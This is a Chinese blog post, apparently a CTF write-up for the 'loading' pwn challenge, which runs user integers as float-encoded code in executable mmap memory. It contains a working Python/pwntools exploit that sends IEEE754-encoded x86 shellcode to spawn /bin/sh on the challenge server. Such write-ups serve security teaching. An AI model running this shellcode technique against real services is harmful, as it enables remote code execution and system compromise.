2019-11-17摸魚二號(hào)

“百度杯”CTF比賽 十一月場(chǎng)loading


圖片.png

首先需要了解一下mmap函數(shù),mmap函數(shù)相當(dāng)于申請(qǐng)一個(gè)可寫可執(zhí)行的區(qū)域。這里最后執(zhí)行了這個(gè)區(qū)域

這個(gè)程序做的事就是 讀入了一個(gè)有符號(hào)整數(shù),把數(shù)除以2333的浮點(diǎn)數(shù)值寫到mmap的區(qū)域里。

這里就需要了解浮點(diǎn)數(shù)在內(nèi)存中保存的方法。
因?yàn)槭怯蟹?hào)的整數(shù),實(shí)際整數(shù)的范圍是受限制的,我們可以通過輸入的數(shù)字控制變化為十六進(jìn)制過后的中間的字符。這道題的原題是pctf2016的一道題

這個(gè)是那道題的解題思路
http://ajou-whois.org/write-up/2017/11/17/fixedpoint.html

import struct
import pwnlib
import time
 
 
def get_int(s):
  a = struct.unpack('<f', s)[0]* 2333
  return struct.unpack('I', struct.pack('<I', a))[0]
 
 
target = pwnlib.tubes.remote.remote('106.75.2.53', 10009, ssl=False)
 
print "Sending IEEE754 shellcode..."
time.sleep(1)
 
for i in range(3):
  target.sendline(str(get_int('\x00\x00\x00\x00')))
 
target.sendline(str(get_int('\x99\x89\xc3\x47')))     # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44')))     # nop/align
 
for c in '/bin/sh\x00':
  target.sendline(str(get_int('\x99\xb0'+c+'\x47')))  # mov al, c
  target.sendline(str(get_int('\x57\x89\x03\x43')))   # mov [ebx], eax; inc ebx
  
for i in range(8):
  target.sendline(str(get_int('\x57\x4b\x41\x47')))   # dec ebx
  
target.sendline(str(get_int('\x99\x31\xc0\x47')))     # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47')))     # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47')))     # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47')))     # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47')))     # int 0x80
 
target.sendline('c')
target.interactive()
圖片.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容